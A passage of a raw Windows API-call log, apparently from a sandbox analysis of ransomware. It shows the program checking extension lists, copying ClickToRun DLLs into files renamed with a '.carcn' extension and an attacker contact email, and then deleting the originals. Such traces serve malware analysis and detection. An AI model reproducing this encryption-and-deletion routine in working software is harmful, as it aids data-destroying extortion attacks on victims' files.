returned 4 [0291.834] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0291.834] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.834] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0291.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0291.835] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=18624) returned 1 [0291.835] CloseHandle (hObject=0x350) returned 1 [0291.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0291.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x20 [0291.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.835] lstrlenW (lpString=".doc") returned 4 [0291.835] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.835] lstrlenW (lpString=".docx") returned 5 [0291.835] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0291.836] lstrlenW (lpString=".pdf") returned 4 [0291.836] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.836] lstrlenW (lpString=".xls") returned 4 [0291.836] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.836] lstrlenW (lpString=".xlsx") returned 5 [0291.836] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0291.836] lstrlenW (lpString=".ppt") returned 4 [0291.836] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.836] lstrlenW (lpString=".zip") returned 4 [0291.836] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.836] lstrlenW (lpString=".rar") returned 4 [0291.836] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.836] lstrlenW (lpString=".bz2") returned 4 [0291.836] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.836] lstrlenW (lpString=".7z") returned 3 [0291.836] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.836] lstrlenW (lpString=".dbf") returned 4 [0291.836] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.836] lstrlenW (lpString=".1cd") returned 4 [0291.836] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.836] lstrlenW (lpString=".jpg") returned 4 [0291.836] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.836] lstrlenW (lpString=".doc") returned 4 [0291.836] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.837] lstrlenW (lpString=".docx") returned 5 [0291.837] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0291.837] lstrlenW (lpString=".pdf") returned 4 [0291.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.837] lstrlenW (lpString=".xls") returned 4 [0291.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.837] lstrlenW (lpString=".xlsx") returned 5 [0291.837] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0291.837] lstrlenW (lpString=".ppt") returned 4 [0291.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.837] lstrlenW (lpString=".zip") returned 4 [0291.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.837] lstrlenW (lpString=".rar") returned 4 [0291.837] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.837] lstrlenW (lpString=".bz2") returned 4 [0291.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.837] lstrlenW (lpString=".7z") returned 3 [0291.837] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.837] lstrlenW (lpString=".dbf") returned 4 [0291.837] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.837] lstrlenW (lpString=".1cd") returned 4 [0291.837] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0291.837] lstrlenW (lpString=".jpg") returned 4 [0291.837] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.838] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.838] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0291.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0291.838] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=18624) returned 1 [0291.838] CloseHandle (hObject=0x350) returned 1 [0291.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0291.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0291.839] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.839] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0291.840] GetLastError () returned 0x0 [0291.840] ReadFile (in: hFile=0x350, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0291.875] WriteFile (in: hFile=0x354, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0291.877] ReadFile (in: hFile=0x350, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.877] WriteFile (in: hFile=0x354, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x112, lpOverlapped=0x0) returned 1 [0291.877] SetEndOfFile (hFile=0x354) returned 1 [0291.877] CloseHandle (hObject=0x354) returned 1 [0291.877] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.877] SetEndOfFile (hFile=0x350) returned 1 [0292.132] CloseHandle (hObject=0x350) returned 1 [0292.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.295] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0292.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.296] lstrlenW (lpString=".doc") returned 4 [0292.296] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.296] lstrlenW (lpString=".docx") returned 5 [0292.296] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.296] lstrlenW (lpString=".pdf") returned 4 [0292.296] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.296] lstrlenW (lpString=".xls") returned 4 [0292.296] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.296] lstrlenW (lpString=".xlsx") returned 5 [0292.296] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.296] lstrlenW (lpString=".ppt") returned 4 [0292.296] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.296] lstrlenW (lpString=".zip") returned 4 [0292.296] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.296] lstrlenW (lpString=".rar") returned 4 [0292.296] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.296] lstrlenW (lpString=".bz2") returned 4 [0292.296] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.296] lstrlenW (lpString=".7z") returned 3 [0292.296] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.296] lstrlenW (lpString=".dbf") returned 4 [0292.296] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.296] lstrlenW (lpString=".1cd") returned 4 [0292.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.297] lstrlenW (lpString=".jpg") returned 4 [0292.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.297] lstrlenW (lpString=".doc") returned 4 [0292.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.297] lstrlenW (lpString=".docx") returned 5 [0292.297] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.297] lstrlenW (lpString=".pdf") returned 4 [0292.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.297] lstrlenW (lpString=".xls") returned 4 [0292.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.297] lstrlenW (lpString=".xlsx") returned 5 [0292.297] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.297] lstrlenW (lpString=".ppt") returned 4 [0292.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.297] lstrlenW (lpString=".zip") returned 4 [0292.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.297] lstrlenW (lpString=".rar") returned 4 [0292.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.297] lstrlenW (lpString=".bz2") returned 4 [0292.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.297] lstrlenW (lpString=".7z") returned 3 [0292.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.298] lstrlenW (lpString=".dbf") returned 4 [0292.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.298] lstrlenW (lpString=".1cd") returned 4 [0292.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0292.298] lstrlenW (lpString=".jpg") returned 4 [0292.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.298] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.298] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0292.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.299] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=19648) returned 1 [0292.299] CloseHandle (hObject=0x35c) returned 1 [0292.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0292.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.299] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.300] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.300] GetLastError () returned 0x0 [0292.300] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0292.317] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0292.318] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.318] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x116, lpOverlapped=0x0) returned 1 [0292.319] SetEndOfFile (hFile=0x334) returned 1 [0292.319] CloseHandle (hObject=0x334) returned 1 [0292.319] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.319] SetEndOfFile (hFile=0x35c) returned 1 [0292.320] CloseHandle (hObject=0x35c) returned 1 [0292.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.320] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0292.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.321] lstrlenW (lpString=".doc") returned 4 [0292.321] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.321] lstrlenW (lpString=".docx") returned 5 [0292.321] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.321] lstrlenW (lpString=".pdf") returned 4 [0292.321] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.321] lstrlenW (lpString=".xls") returned 4 [0292.321] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.321] lstrlenW (lpString=".xlsx") returned 5 [0292.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.321] lstrlenW (lpString=".ppt") returned 4 [0292.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.321] lstrlenW (lpString=".zip") returned 4 [0292.321] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.321] lstrlenW (lpString=".rar") returned 4 [0292.321] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.321] lstrlenW (lpString=".bz2") returned 4 [0292.321] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.321] lstrlenW (lpString=".7z") returned 3 [0292.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.322] lstrlenW (lpString=".dbf") returned 4 [0292.322] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.322] lstrlenW (lpString=".1cd") returned 4 [0292.322] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.322] lstrlenW (lpString=".jpg") returned 4 [0292.322] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.322] lstrlenW (lpString=".doc") returned 4 [0292.322] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.322] lstrlenW (lpString=".docx") returned 5 [0292.322] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.322] lstrlenW (lpString=".pdf") returned 4 [0292.322] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.322] lstrlenW (lpString=".xls") returned 4 [0292.322] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.322] lstrlenW (lpString=".xlsx") returned 5 [0292.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.322] lstrlenW (lpString=".ppt") returned 4 [0292.322] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.322] lstrlenW (lpString=".zip") returned 4 [0292.322] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.323] lstrlenW (lpString=".rar") returned 4 [0292.323] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.323] lstrlenW (lpString=".bz2") returned 4 [0292.323] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.323] lstrlenW (lpString=".7z") returned 3 [0292.323] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.323] lstrlenW (lpString=".dbf") returned 4 [0292.323] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.323] lstrlenW (lpString=".1cd") returned 4 [0292.323] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0292.323] lstrlenW (lpString=".jpg") returned 4 [0292.323] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.323] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.323] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0292.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.324] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=23232) returned 1 [0292.324] CloseHandle (hObject=0x35c) returned 1 [0292.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0292.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.325] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.325] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.325] GetLastError () returned 0x0 [0292.326] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, 